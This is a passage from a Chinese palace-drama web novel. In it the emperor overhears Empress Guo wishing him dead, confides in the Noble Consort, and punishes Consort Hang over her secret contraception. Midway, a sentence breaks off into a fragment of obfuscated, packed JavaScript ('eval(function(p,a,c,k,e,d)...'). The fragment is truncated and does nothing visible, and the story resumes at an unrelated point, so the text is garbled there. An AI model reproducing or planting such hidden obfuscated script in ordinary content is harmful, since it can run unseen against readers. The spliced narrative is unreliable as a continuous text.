晏霁之怼她:“你回皇宫后,记得好好和嬴忱璧聊聊再当着他的面怀疑他吧,不然,独我知道你在怀疑我和嬴忱璧而他却不知你在怀疑他,我觉得我会很憋屈。” “知道了。”霍灵渠捧捧他清减的俊脸哄:“夜深了,安置吧。” “唉,本少爷何苦来哉?”晏霁之幽怨:“我再去洗个凉水澡吧。” 霍灵渠瞬间有点难为情,忍羞哦声:“那你当心着凉。” 晏霁之亲亲美人的脸蛋,郁闷退出床榻,刚迈腿走出步,突然想他是不是傻?霍灵渠还不适应没有他,那他想让霍灵渠喜欢他总不能放任这女人适应好没有他吧。 他转身,对眼前的青梅竹马兼曾经的爱妾笑得意味深长:“还是你帮我吧。” 霍灵渠:“……” 寝屋烛影摇曳,深夜在令人脸红心跳的响动中奔向寂静寻觅黑暗的尽头,终于在墨黑的浩渺里觅得缝隙窥见黑青似烟雾霭,天际有晨曦金芒漏出,转眼已近破晓。 明媚清晨,经过夜滋养的花草沐浴在新日阳光中格外鲜妍,可惜缺了赏景人,前日跑山林间转悠及至昨日还窝在庭院中懒散的俩人,今早放弃挣扎还在屋中堕落呢。 晌午过半,热烈的阳光似柄火热的长鞭将姗姗来迟的他们拖拽出寝屋,晏霁之搂着美人走进厨房想简单备份午膳时发现厨房有食盒,走近,见有封信搁在食盒上。 “申时二刻,蜀王府的马车侯在京畿西郊十里长亭接人。二,薛驸马于不日前将晏明潜在扬州的茶庄和酒楼尽数封了,晏明妧晏明潜姐弟近日频频带儿女向王爷哭诉。 三,皇宫中近期盛传,杭婕妤自潜邸入宫后一直私自服用避子汤,正徽三年冬月,已故珍修仪趁此机会将杭婕妤暗害绝育,消息出自翁美人向令愔夫人和喻秀仪亲诉。 四,京畿近日流言蜚语不堪入耳污指霍桑柔,多有颠倒黑白瞎编诋毁,京兆府衙将城中众多污言秽语欲毁霍桑柔的好事者抓捕,被捕众人咬出此乃受建威侯府指使。昨日,建威侯府四少爷被逮捕;今日,京兆尹判褫夺郭四少爷秀才功名,刑拘百日。” 霍灵渠读毕,将信纸搁下,淡淡道:“你对杭婕妤绝育之事的判断可真准。” “你对第四则消息倒是淡定啊。”晏霁之打趣,霍灵渠轻轻摇头,没有出气的痛快反而神情隐有低迷:“我提前找显国公、薄尚书和文郯侯还有班丞相他们都交代过了。” “老建威侯虽然平庸好歹脑子清醒,他一死,郭家全靠霍家撑着才没沦落成没落勋贵,偏还拎不清,非要把霍家留的余地消磨干净才够。” 晏霁之摇头:“或许不用多少年,大皇子弱冠前就没有建威侯府了。” 霍灵渠眉心微跳,扯扯他的衣袖,悄声说:“皇帝说想把大皇子出继哎。” 晏霁之惊讶:“把嫡长子出继,嬴忱璧亲口跟你说的吗,他怎会冒出这种想法?” “就是皇帝反思对郭皇后的宽容遭反噬,他说莫说看在儿女的情面,他连郭氏生的儿女都不想要了。”霍灵渠揣度:“我觉得皇帝是一时怒火上头,气消就没事了吧?” “未必!”晏霁之缓缓眯眼吐出两字,考量道:“或许我们低估皇帝被反噬得有多狠了,嬴忱璧很可能已经对妻室深恶痛绝,郭皇后或许挨不到明年自请辞位就得被废掉。” 霍灵渠惊讶,她也说不出是什么感觉:“霁之,你可莫瞎猜。” 晏霁之拉过她的纤手摩挲,温柔凝在眉梢,解析道:“嬴忱璧不是评价过郭皇后对自己和丈夫是尊己卑人吗?她还能明白吗,哪怕皇帝窝囊,对她这个皇后和她的儿女还有她娘家建威侯府也可轻松捏死,何况嬴忱璧铁腕,不想宽容时还能惯着她吗? 一个只是不让她奢靡铺张就能常年骂丈夫抠搜的皇后,一个能在宫宴时当众嫌皇帝丈夫窝囊的皇后,一个还没被皇帝冷落过就能折腾到把夫妻情份消磨尽的皇后,她能有那份清醒安分等到明年辞位吗?她没有啊,可她还有皇帝给予的宽容吗?” 霍灵渠靠他怀里,叹道:“但愿他们夫妻今生能善始善终吧。” “嗯,别人夫妻的事,你就别操心了。”晏霁之抬手抚抚她的秀发,柔声叮嘱:“很快,你就得离开我了,我现在只盼太上皇想求长生的疯魔不会给你造成心魔。答应我,你在皇宫中更要对自己好些,有事就找我、找霍家,不要自己徒增烦扰。” “我知道,人能活在世间都是命运的馈赠,生命应该是鲜活快乐的,不应该因为任何事本末倒置。你也答应我,莫再消沉,莫要辜负这场人生。” “好!” 如来时相见,晏霁之再送到西郊长亭告别,目送她离去的方向似要望进蔚蓝天际尽头。而在霍灵渠返回皇宫当夜,正徽帝嬴忱璧携班丞相走进中宫皇后的椒房殿。 84. 第84章 浩瀚苍穹因繁星未现而显得黯淡时,椒房殿中宫灯交相辉映,缤纷溢彩渐欲迷人眼。 皇帝拦住宫人的通禀,问清皇后何在,他带丞相和随行的总管太监安静寻去。 是为郭四少爷被判褫夺秀才功名以及刑拘百日做惩戒,好歹是皇后的庶弟,皇帝怕皇后会有疙瘩,特带丞相来开解。班丞相宽慰陛下多虑了,皇后娘娘贤德善解人意定然明白,这也不全是场面话,他真觉得郭皇后哪会因这点事就和陛下生分啊。 他们走近被宫灯照耀得流光溢彩的殿阁,尖锐的摔砸破裂声响伴着愤怒的嘶吼犹如暴雨倾盆般砸来:“窝囊废!这个窝囊废活着到底还有什么用啊! 就会拿我和建威侯府摆皇帝威风,就会对霍家卑躬屈膝,一个霍桑柔都能把他吓破胆,他到底还有什么用,废物!这种废物做什么还要活着,他怎么不明日就驾崩算了省得天天碍着我皇儿,他怎么就不能知道像他这种废物就该早死早干净……” 相距两三丈远,皇帝站立的地方犹似被凝固成千尺寒冰。 御前总管太监蒋厚运堪比遭雷劈,惨白脸慌忙跪地之余还保证做到绝对安静。 班丞相被震得头昏脑涨,这真的是郭皇后在咒骂吗,莫非他们从未看明白过郭皇后吗?郭皇后私底下竟是这种德行吗?被刺激半响,丞相才回过神,正欲跪下时被皇帝伸手扶住,他回望眼前论年岁几乎能做他孙儿的皇帝,老脸苦笑。 皇帝冷峻收回手臂,放轻脚步声再往前走,走到隐蔽处,沉沉注视殿内的灯火通明。 总管太监蒋厚运轻手轻脚爬起来,抬袖管擦擦额头,跟着班丞相,一起走近陛下站的隐蔽处看看殿阁内的情形,就见是郭皇后独自在,没有伺候的宫婢。 过片刻,皇帝神态渐平和,深深凝视眼在富丽堂皇的殿阁内摔砸嘶吼发泄的已有些面目狰狞的、占据着他原配正妻位置的女人,一字未言,放轻脚步走开。 班丞相闭眼摇头低低长叹口气,离远些尾随;大总管最后看眼殿中景,随后走掉。 正徽帝嬴忱璧并没有走出皇后宫中而是寻处没有咒骂声的宽阔地方站定等着丞相,夜空逐渐凝聚的星辉掠过远处的灯辉溢彩将皇帝的身影拉得格外萧索。 “丞相明早走趟太微宫帮朕向太上皇请个安,再帮朕查查建威侯夫人的娘家和姊妹家,在仕途者和经商者连同白身全部查,若有贪污行贿违法乱纪者,皆按律处置吧。” 班丞相刚走近前还没问安就收到命令,自然听得明白,只管应承。 郭皇后是在犯疯病吧,那些话都足够她被废后赐死、建威侯府满门抄斩了。 四五年,建威侯难道四五年都不曾察觉吗,不然他怎么就还能放任这女儿?不、不对,谁家媳妇这般咒丈夫? 班丞相豁然联想到冰冻三尺绝非一日之寒,那么,一年前,霍家想强抢后位,皇帝也有可能是喜闻乐见,他根本估错皇帝对郭皇后的态度了?他倒不怀疑今夜是皇帝引他来撞见,陛下还未发作过郭皇后,怎么可能早就心中有数? 嬴忱璧再交代御前总管:“今夜朕没来过,若有宫人敢对皇后乱嚼舌根,杖毙。” 蒋厚运恭敬领旨告退,去告诫伺候郭皇后的这群宫人提好脑袋。 眼前唯剩班丞相,正徽帝嬴忱璧额外叮嘱:“丞相若是忙不过来,让显国公帮你。” “老臣明白,陛下放心。”班丞相估量皇帝盛怒下给的期限应该在俩月内甚至个把月。 “丞相渊博,今夜见闻,可否为朕解惑?”嬴忱璧淡漠的声音似有凉意游走又似系有千斤重石般能将平缓的心跳声敲击如擂鼓,班丞相谨守君臣礼仪没有直视皇帝,中规中矩答:“陛下谬赞,老臣惭愧,老臣妄言猜这可能就是穆国公曾言的:德不配位、必有灾殃。” 皇帝闻言像是嗤笑声又像只是夜间有凉风吹:“这椒房殿的主人何德何能?” 班丞相低眉保持讳莫如深,皇帝再问:“丞相可是觉得朕愧对她,她情有可原吗?” “禀陛下,依老臣揣测,许是郭皇后本性如此。”皇帝话至此,班丞相只得拿出点态度:“以老臣虚活六十的见解,方才郭皇后的言语中已将其自私、愚昧怯弱又阴狠、妄自尊大、刚愎自用、色厉内荏的秉性表露无疑,此等性情,大约是不可理喻的。 对于这种性情的人,关键不在如何相待之而只在于她如何想,可这天下,即使是陛下、皇太后和太上皇都不可能事事顺心如意,何况皇后乎?一有不顺心便暗中憎恨迁怒,也许在郭皇后不辞位的前提下,陛下您独宠贵妃都可能会令郭皇后如今夜这般吧。” “再有一个多月,我和她成婚就满十二年了。堪堪十二年,我与她都还未满三十,儿女都还尚在稚龄,这场夫妻竟然就已走到这般境地?!”皇帝惆怅的语调中似有自嘲和悲哀,倏然间又勃然怒:“丞相,朕该给郭氏善终吗?” 班丞相保留地禀:“陛下,老臣斗胆谏言,郭皇后罪当废除尊位赐死。” 正徽帝嬴忱璧抬眸遥望星辰,未置可否地吩咐:“大皇子未满八岁,二公主才三岁多,念在儿女们还小,朝廷整饬江南和沿海走私时,建威侯府除郭氏的父亲和同母兄弟外、郭家全族的姻亲除太后和贵妃的娘家外,在仕途者一个不留,违法乱纪者皆按律处置。” 班丞相领过旨还没在心底感慨呢,忽闻皇帝跳话题:“北境前线准备得如何了?” “禀陛下,已给蜀王送信,也已知会郢国公,穆国公和武襄侯正在商议增派南阳驻军随蜀王和郢国公支援北境,预计四月中下即可准备妥当传召护国公回京更换北境主帅。” 嬴忱璧仍未表态只是再跳话题:“四月还将选秀,丞相家的姑娘可有意向吗?” 班丞相心中犯嘀咕,皇帝若有意向,没有太上皇的高压,他愿意让孙女进宫伴驾,可有太上皇的高压压着啊,面上打官腔:“老臣蒙陛下抬爱,但凭陛下吩咐。” “班太妃是相爷的嫡亲侄女,朕若再要班家姑娘,恐怕相爷都得有怨言了,自家千娇百宠的姑娘全被皇家收走了,朕就算了吧。”嬴忱璧旋即话锋偏转:“朕想要周尚书家的姑娘,丞相明早顺便帮朕禀告太上皇,择日再向周尚书打声招呼,有劳相爷了。” “老臣惶恐,此等小事岂敢当陛下有劳二字,老臣遵旨。”班丞相这就不得不怀疑了。 周尚书是户部尚书啊,皇帝要整顿江南贪腐当然不是江南真的贪腐甚重而是自皇帝登基以来江南的赋税差不多都进太上皇的私库,皇帝这是要把江南的赋税收归国库。 太上皇虽然看似肯退让,但能退多少真的没准儿,这场拉锯就够他们这群老臣头痛的,陛下在这种节骨眼提出要户部尚书家的姑娘进宫伴驾能让太上皇舒服吗?他明早跑太微宫绝对要触霉头,皇帝到底是故意越过周尚书反而让他来传话呢还是故意呢? 班丞相心中默默哀怨,宰执位高权重看似风光可外人哪知当中艰险,不能让君王满意,能安稳告老致仕都算最好的结果了;他偶尔感慨真想佩服霍家,他做宰执有霍家和晏家顶在前还有时尚觉难做,霍家直曝在君王眼皮底下竟还能游刃有余确实该配霍家登顶。 大总管蒋厚运返回复命,皇帝带他二人离去,走得比来时更悄无声息;回望来时路,椒房殿仍在灯火中缤纷溢彩,世间最堆金砌玉的富丽如何也不少了椒房殿吧。 皇帝传令御前总管送送班丞相,他独自走走。夜空星辰璀璨清冷,皇宫的灯火明亮有余却不够温暖,偌大皇城簇拥着人间至高权柄,何苦总有挥之不去的寒凉? 或许随意走走或许有意,正徽帝嬴忱璧踏着清冷的星光走进有贵妃暂住的长春宫,同样拦住宫人的通禀意,没有去给养母给请安,他径直走去贵妃暂住的殿阁。 来到偏殿前再拦住宫婢们想通禀的意图,他走到寝殿前,再再示意守殿外的宫女禁声。寝殿内,长发披肩的贵妃亲昵地赖在太后怀里,太后如慈母般抚着贵妃的秀发。 嬴忱璧不自觉唇畔扬起细微抿笑的弧度,似是刚发现这里的灯火很温暖。 安静凝望殿内温情几息时间,皇帝进殿打断太后和贵妃如慈母爱女般的温情。 “皇帝这还成何体统,岂有不经通传就闯进母后宫中之理,何况夜里,还像话吗?” 霍太后倒还好,板脸训训皇帝,皇帝赔过罪就揭过了;霍灵渠可被皇帝的突袭吓得心肝颤颤心有余悸,倘若今夜她未能及时回来或者皇帝前几夜来突袭还得了吗? 因而,她瞧着皇帝装着温和把太后哄走,她即追问:“陛下怎么夜里过来?” 皇帝想抱抱贵妃,在贵妃退后的拒绝举动和眼神防备中只得作罢,宫女们鱼贯而入奉上新的茶水糕点瓜果后自觉退下,烛光摇曳的寝殿里独留帝妃二人身影相对。 嬴忱璧在黄花梨罗汉床中落坐,端茶盏喝几口热茶,看向贵妃,油然生起温暖的慰藉,似能将两三刻钟前他走在星空下的凄清扫除,能让他特别有想倾诉的欲望:“今早,京兆尹判郭皇后的庶弟褫夺秀才功名、刑拘百日,贵妃想必已经知道了吧。” 霍灵渠已经洗漱好了,下意识裹裹寝袍再应:“是呀,陛下莫非自椒房殿而来?” 正徽帝嬴忱璧唇畔弯起自讽的弧度:“对,今夜朕故意拿此事以让丞相帮忙开解皇后之名带着丞相进椒房殿,虽是如此,可朕真的有侥幸,没想到郭氏果真没令朕失望。” 霍灵渠蹙眉:“陛下带着丞相在椒房殿看见什么了?” “她在痛骂!”嬴忱璧自来很克制,压抑才是他自童年至今的人生主基调。在椒房殿时他心有准备反而觉得自己可笑居多,独自走在星空下时甚至觉得自己悲凉。 可在能令他感受到慰藉的人面前,在这座让他觉得足够温暖的殿阁里,他不想再压抑,只想痛快释放场迟到的最应该的暴怒。 “十多年夫妻,十多年给足她正妻体面的丈夫,只因个庶弟,她就能痛骂,痛骂这个窝囊废怎么就不能早死早干净,怎么就不能明日就驾崩算了省得天天碍着她的皇儿?!” “什么?”晌午时霁之猜测郭皇后可能会被废掉,今夜她就能见证到吗? 霍灵渠想起来,皇帝是曾提起过郭皇后巴不得丈夫早早驾崩,当时她觉得皇帝受刺激了有些癫狂,没放在心上;可今夜,皇帝带着丞相听到的还能有假吗? “陛下当真是亲眼看见亲耳听见?” “贵妃怀疑朕污蔑她?”嬴忱璧问,霍灵渠摇头,她相信皇帝皇帝不至于扯谎,就是惊得想再问一遍:“大约是太震惊了,郭皇后怎会如此糊涂?” “糊涂?”嬴忱璧咂摸下想笑:“朕更糊涂吧,我竟还期盼想看见个平静的郭氏。”只在顷刻间,皇帝的暴怒就像回落进血液中,却是比爆发出来更可怖:“贵妃看朕可傻吗?我自问对她的为人已再清楚不过,何苦还要心存侥幸自讨没趣?” 霍灵渠细细观察都找不出皇帝雷霆大怒的痕迹,好像连刚才展现的震怒都只是假象,可她真不相信皇帝能轻易息怒。她也没好心泛滥,可若放任皇帝将震怒压抑,会因此而多迁怒多少人才真是难以估量,她到底有些不忍心。 “陛下看赌徒,输得越多的赌徒越想赌;陛下再看有些读书人,四五十岁都还没有功名可仍然坚持着要考科举,想诊治疑难杂症而不得但仍然全心投入的医者,还有许多许多,他们又是何苦?” 霍灵渠眉眼温婉,浸润笑意的悦声犹似一泓清泉缓缓流淌而过的熨帖:“臣妾想,总有一个原因是想给自己安慰、不想辜负自己曾经付出的心血,这是想对自己好。付出过真心,付出得越多,自然越想得到回报;哪怕没有回报,总也不会希望那是错付。 人想对自己好是与生俱来,这是在思考之前就能做出的决断。陛下曾对媳妇很好很好,不愿意让自己的真心错付是再应当不过的人之常情。” “您今夜的期盼是想宽慰自己,是不愿辜负曾经付出的心血。”霍灵渠美眸含笑,似泉水叮咚,比雨过天晴后的湛蓝舒适:“这并不是为对方,是为自己,陛下只是在心疼自己,想对自己好呀。想对自己好再应当不过,这怎么会是傻呢?” 映在烛辉中的女人温柔浅笑,熨帖得仿佛能涤荡阴霾。 嬴忱璧凝视她感慨不已:“贵妃真会宽慰朕。” “臣妾据实禀奏而已。”霍灵渠自然奉承,下刻,皇帝突然站起走到她面前,她没来由得被吓了跳,还没来得及规劝,皇帝就坐到她身边强硬地将女人抱进怀中。 霍灵渠挣扎抵抗被皇帝强悍地箍紧压制着,想讥讽对呛又被皇帝抢前了,嬴忱璧闭眼将脆弱和苦涩悲凉藏在心底最深处:“贵妃让朕抱抱吧,朕想安静会儿。” 你想安静就回你自己的寝殿,霍灵渠憋闷地把对呛咽下,呆呆等会儿,皇帝都没有反应好像睡着了,她郁闷得只好数金元宝当消遣兼治愈烦闷的心情。 嬴忱璧冷静些后睁眼,看见贵妃眼神俏皮活泛,自讨没趣问:“贵妃在想什么?” “哦,我在数金元宝,我刚数到97只金元宝。”霍灵渠烦闷消除后心情不错,有义气的和皇帝分享经验:“我祖父说金元宝能治百病,我郁闷的时候常数金元宝,很管用的,我都是想想金元宝就能高兴啦;陛下烦心的时候也可以试试,真的管用的。” 还以为贵妃是在想晏霁之呢,原是他想多了,嬴忱璧心里霎时有股说不出的轻松,愣下忙不迭表示:“哦好好,朕明早就给贵妃送两箱金元宝过来。” 霍灵渠摆手:“我不是跟你要钱财,我是跟你说排解烦闷的办法。” 嬴忱璧眉开眼笑,好像埋藏在心底的脆弱和悲凉都这瞬间抚平了,不由自主就想高兴:“朕懂、朕懂,是朕想给贵妃送金元宝,跟贵妃没有关系。” “哎呀你没听懂,我只是跟你说排解郁闷的办法,我不是要钱财。”霍灵渠瞧着皇帝的敷衍样很有骨气地拒绝:“我就是告诉你个办法,陛下若有兴趣就试试,没兴趣就算了,给我送钱财算怎么回事?臣妾谢您的好意,我不要。” “好、好好,朕不送就是了。”嬴忱璧好脾气或者说不愿意惹恼贵妃地退让,但皇帝是真做不出想金元宝或者数金元宝这种…呃…这种活泼的事吧,对于贵妃的好意只能略过吧,坦诚道:“朕在想,朕应该就是想对自己好吧。” 霍灵渠好脾性得把刚冒出的恼意抛掉,转而劝解皇帝:“郭皇后应是被怒火冲昏头了,那不会是她的真心话,做不得数,陛下就网开一面吧。” “多年来,朕也常常这般安慰自己。”像自嘲,更像陈述,嬴忱璧眼神放空,仿佛能看见半个多时辰前他独自走在星空下的寂寥:“宽慰自己,她是被带坏的。 在她犯上不敬时给予宽容,她赌咒皇帝驾崩,也能觉得她只是想发泄被迫辞位的痛恨,仍能一笑置之给足宽容体谅。以致,知道了大半年来她都经常巴不得皇帝早死后还能觉得她应该对丈夫有点情份,今夜走进椒房殿之前还有侥幸和期盼。” 嬴忱璧自悲凉中抽离,真觉得自己活该啊,他是真活该奉上皇帝的尊严给郭氏践踏:“朕想缘由有二,一是被她的表象迷惑,始终未能看透彻她的心性。二是想给自己安慰吧,诚如贵妃所言,谁不想对自己好?这是不必思考就能做的决断。 朕何尝愿意让自己这四五年的宽容厚待变成笑话,只因她的庶弟犯事后被褫夺秀才功名这种微末小事就能逼得我不得不去亲自见证我有多么眼瞎心盲。 朝堂后宫多少人觉得我对郭氏愧意深,若非皇帝对她确实够好又怎会令他们生出错觉?朕自觉对郭皇后当然很好,朕既有付出,总归想要有回报便宁可自欺欺人。” 霍灵渠瞧着皇帝怪受伤的,心里腹诽:我说你真在意郭皇后吧,你还不承认。 “陛下和皇后有十多年夫妻情份还有一双儿女,你们之间自是有真情厚爱。今夜,皇后在愤怒时的抱怨哪能做准,陛下气消后就别放在心上了,免得伤皇后的心。” “十多年夫妻情份?”嬴忱璧想起贵妃曾言,人觉得自己少什么就想给自己弥补什么?他像吗?他这是做皇帝之后想该给自己弥补吗?所以,他饥不择食、甚至盲目地随便抓个厚待之以期得回报:“哪有什么夫妻情份,只有我在自欺欺人而已!” 嬴忱璧陡然大怒,冷不防都把他怀中的贵妃给吓了吓,皇帝凤眸阴鸷,森寒爬上眉梢:“什么只是想发泄痛苦憋怒,郭氏是真真切切只想盼我死! 她本性就如此,极端冷血自私,就算至亲骨肉也不见得她能有多少亲情,她欺软怕硬的怯弱表象下藏着的是颗铁石做的蛇蝎心肠。” 霍灵渠想皇帝莫非是因爱生恨了吗?赔笑道:“陛下您言过其实了吧。” 正徽帝嬴忱璧克制下,压压浮躁尽量平静:“郭氏的祖父在授康十九年去世,自此,郭家仰赖霍家庇护。在与霍家撕破脸前的十二三年,若建威侯府有难处而霍家没有及时解决,郭家都能反而去刻薄霍家。郭皇后比之娘家青出于蓝,最近有好事者劝她扳倒霍家,劝得多把她惹恼了,她怒骂对方怎么就不知道帮她把事情给办了。” 霍灵渠注视皇帝,眼底有种说不清道不明的怀疑滋长,她沉吟半响,满含复杂问:“郭家和霍家在撕破脸之前就已经是升米恩斗米仇?” 琉璃灯辉下,嬴忱璧神情淡淡,可偏就是能感受到他散发着的寒气:“老穆国公夫妇都还尚在,两家撕破脸之前霍家从未撒过手,当然没到过那份儿上。” “陛下曾言郭皇后对皇帝丈夫属尊己卑人?”霍灵渠蹙眉再问,皇帝答对,她捧起茶杯慢慢喝两口茶,沉声思忖:“郭皇后是我祖母的侄孙女,我和她虽然童年处得不多,终归还有些印象,这表姐童年时软弱怕事温和斯文,而今我仍然觉得她没什么城府。” “她当然没有城府,否则如何能得朕多年的宽容,可有没有心计与是否自私阴狠是彻头彻尾的两回事,霸道的人也能有颗良善的心,怯弱的人照样能怀揣着极恶。” 嬴忱璧倒杯茶,一杯茶喝尽,提醒贵妃:“贵妃以为,郭氏今夜暴怒发泄的根源是什么?她对庶弟庶妹们从来看不上眼更不在意他们的死活,朕才会存点侥幸。” 霍灵渠怔愣下转向皇帝,几乎脱口而出:“她更不在意你的死活?” “对啊!”嬴忱璧淡淡笑,似有股要把他走在星空下的悲凉抛除的决绝:“但凡她对丈夫能有在意又岂会因个她毫不在意的庶弟便就又痛恨到巴不得丈夫去死? 若是因她被迫辞位之故,都大半年了,一点小事又能引她暴怒,她对丈夫的情份该有多微不足道,这就相当于是没有的。可除此之外还有什么缘故吗?没有啊。 嬴忱璧呵呵笑,真觉得自己糊涂得够可以啊:“那么,最准确的情况应该是,郭氏自始至终都对丈夫没有情份。十多年夫妻,我对她给足体面厚待,按理应该有情份,外人看来都觉得皇帝和郭皇后很有情份,为何她偏偏就没有呢?” 霍灵渠迟疑着想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“值不值得端看自己,自己觉得值得就是值得的。”霍灵渠温婉抿笑,似破春寒后俏立在枝头的那抹迎春花般舒服:“臣妾不知道还会有几回,但今夜,臣妾想求情。既为我祖母亦想为自己积点福泽,若动动嘴皮就能良心安,自然是值得的。” “好!” 沉默许久,皇帝允诺:“朕已令丞相知会太上皇,在废后前,只要郭氏没有犯下更让朕不能容忍的罪过,念在贵妃的情面,朕可以只降罪她的父母及同母兄弟,饶恕郭家其他人。但若是郭家非得逼着朕将他们全部诛杀,贵妃也莫再替他们费心了。” 霍灵渠站起来行大礼拜谢皇帝的恩典,在皇帝起驾离开时又亲自送到寝殿前,目送皇帝消失在茫茫夜色中,她倚靠着廊柱,抬首遥望星辰已渐黯淡。 记得昨夜晏霁之还抱着她尝荷花酥数牛郎织女星,今夜就只剩思念和枉然了。 霍海啸曾言,椒房殿百名宫婢没有八十名也有五十名眼线,可见椒房殿的暗桩有多多。皇帝带着班丞相循夜而来又悄然无声的离去还在走前留下那么道口谕,事情有多严重,暗哨们没有查探到详细情况都能清楚了:郭皇后绝对惹怒皇帝了。 效忠的主子就在皇宫中的,不出十个时辰,眼线们就把椒房殿的新消息传过去了。 不过暗桩埋得深浅不同,查到的消息粗细自然不同。郭皇后把宫婢们全部遣退,有顺从告退的奴婢,就有敢趁夜色躲在殿外探查的奴婢,庄太妃埋的眼线属于后者。 因而,庄太妃拿到的是最详备的情况,看过消息就完全清楚皇帝昨夜是有多么暴怒了。她耐力修得再好都忍不住要骂蠢货,她真是就没见过这种蠢到家门槛的蠢货! 被迫辞位修行,得到皇帝那么深重的愧意居然都能主动折腾完,这种皇后,若不辞位还能得到善终?!太阳打西边出来她都别想,这么算,霍家都算在帮她了。 庄太妃平复过,估量皇帝对此事的态度以及还能拿郭皇后母子做多少文章?只是她虽然提点过鞠太妃,皇帝对原配有愧;而今皇帝的愧意没了,她可没想重新提点。 令愔夫人在椒房殿是没有埋眼线的,无论是出于什么心理,总归是没有安排眼线。 杭婕妤在皇后宫中有两名细作,埋得不够深,只知昨夜陛下带着丞相进过椒房殿后隐有雷霆大怒的迹象,但没查出发生什么事,不过知道陛下动怒,对她来说已经够了。 如果没有最近皇宫中谣传她已被害绝育的流言,杭婕妤收到这消息自然心情好,可现在宫人们传得沸沸扬扬,还连她在私底下喝避子汤的事都知道,她的心就悬了。 她自是不信那种谣言更不可能相信她会在自己毫不知情时被害得绝育,可这颗心总不受控制的担忧,她没法,只能派宫人去传太医来,就当做求个心安吧。杭婕妤还特意叮嘱宫人多请几位太医,可没想到,太医来后,带给她的是天塌地陷。 春夏更替时节,婵娟馆中的白石榴伴着悠扬的清香绽放出洁白黄白花瓣立于红墙碧瓦间,远观近看皆显惹眼的清雅之美,可今日,俏生生的花朵仿佛也因殿中的哭声萎蔫了。 婵娟馆中悲戚哀恸的哭声绕梁,皇帝走进婵娟馆时,诊脉的五位太医站在角落里候着,令愔夫人和大腹便便的翁美人还有喻秀仪以及倪芳华都已经在表达‘关切慰问’。 虽然只有令愔夫人在劝慰杭婕妤,翁美人她们三位纯粹只是来走个过场,但她们好歹摆出姿态来走过场了,总归比连个影儿都没有的郭皇后和霍贵妃强得多。 “陛下,陛下……”见皇帝进殿,杭婕妤连请安都顾不得了,梨花带雨扑向皇帝哭诉,哀恸的尖锐渗透她的痛彻心扉:“臣妾该怎么办,臣妾今后该怎么办啊……” 在场谁都没想到,只因这么句话竟然就惹皇帝动怒,在这种情形下都不愿意给出好脸:“什么叫做你今后该怎么办,太上皇有那么多位太妃都不曾生育过,她们哭了吗?” 众宫婢们忙低头,站在墙角落里的太医们低低头悄悄舒口气,翁美人捧孕肚低低头憋住不厚道的偷笑,喻秀仪低低头翘翘嘴角,倪芳华最平淡。 杭婕妤愣愣抬头,哭得眼圈湿红泪眼婆娑的脸庞仍有种雨水浇过荷叶的清新淡雅之美,她怔怔得看向皇帝像是不知道该如何应对抑或是全然没预想过会面对这种情形;令愔夫人犹豫想打圆场还是忍住了,殿中唯有皇帝明显压抑的训斥盘旋。 “你已育有大公主,若朕走在你前头,大公主足以保你在宫中安稳终老,你是觉得将来朕百年之后你嫌只做太妃不够还是觉得没有皇子对你是死路,所以才值得你这样哭,值得你脱口而出今后该怎么办的话?!你能告诉得了朕,你还在嫌什么吗?” “臣妾…臣妾……”杭婕妤心头咚咚咚跳,强行定定心神忍住慌张,抓住皇帝的衣袍,两行清泪自泪眼中溢出,哭得哀婉苦涩:“臣妾没想到竟在毫无觉察时被已故的珍修仪……臣妾一时方寸大乱才口不择言,陛下恕罪。 臣妾没有嫌什么,臣妾只是还有奢望想再给陛下生儿育女,可臣妾没想到这个期盼竟然早已被掐断,臣妾一时受不了,这才心慌意乱措辞不当,陛下恕罪啊。” 皇帝毫不为所动:“朕没赐避子汤,你都能偷喝避子汤,这也叫做你想生养?” “臣妾和已故的珍修仪在潜邸时素有旧怨,臣妾娘家门户低微,唯恐在宫中多遭轻慢,臣妾怕在宫中未站稳前就有孕会多险阻,这才瞒着陛下……”杭婕妤真得不能再真地发誓:“臣妾只是想稍缓几年,臣妾真的没有他想只想为陛下生儿育女,陛下明鉴啊。” “换言之,你觉得朕护不住有孕的嫔妃和未出生的皇嗣,你觉得我这个皇帝很没用?”正徽帝语气轻飘飘,看客们可不敢轻慢,翁美人由婢女帮衬着跪下都麻利。 “陛下、陛下,臣妾没有,臣妾真的没有,若臣妾有敢不敬就叫臣妾被天打五雷轰。”杭婕妤怎么也没想到还能有这种隐患,真惊慌忧惧地拉着皇帝的龙袍辩解:“是臣妾糊涂,臣妾顾虑不周冒犯陛下,但臣妾真的绝无半点不敬之念,陛下明察啊……” “先前给你请平安脉的马太医在珍修仪病故后告老还乡,当前给你请平安脉的孙太医在第一回给你请脉后就向朕禀告了,朕查过,此前就知道了。但朕以为你既然私自避孕,那么绝育与否对你应当没有差别,没想到竟让你如此受震动。” 皇帝轻描淡写下令:“既然你这般悲痛,想来也不能照顾大公主,那你就专心调养吧,大公主自今日起搬入拾翠阁随翁美人住,你心情好了,再让大公主回来。” 正在津津有味看戏的翁美人:“……”我真的只是来走个过场顺便看看戏解解闷啊,她瞟瞟她们,想拖延会儿再领旨,果然拖延得对,她刚磨蹭就响起杭婕妤的尖叫。 杭婕妤震惊更难以置信地喊陛下,可迎上皇帝冷冷的视线竟然不由自主有些惊恐颤栗,她只好转向令愔夫人求助。令愔夫人到底不落忍,相帮道:“陛下,杭婕妤纵然有错可到底没坏心,她眼下正煎熬,大公主是她最大的慰藉了。 何况翁美人怀胎九月正是要紧时,如何能再照料大公主?再者只怕大公主也不适应突然离开杭婕妤,会搅得翁美人不能安稳养胎,此时让大公主随翁美人小住实在不美。就请陛下念在杭婕妤陪伴您多年的份儿上,让大公主留在婵娟馆抚慰生母吧。” “今日是三皇儿的三周岁生辰,爱妃早些回钟萃宫吧。” 语毕,皇帝拂袖而走,靠墙角落里的众位太医连忙追随陛下离开婵娟馆。 85. 第85章 今日是三皇儿的三周岁生辰!皇帝陛下留的这看似不相关的话可真有意思呢。 翁美人掰手指算算,今儿是三皇子的生辰,陛下定会留宿钟萃宫;那么,杭婕妤挑今日落实她已被已故的珍修仪暗害绝育,请令愔夫人帮她吹枕边风可不就是最佳时机么。 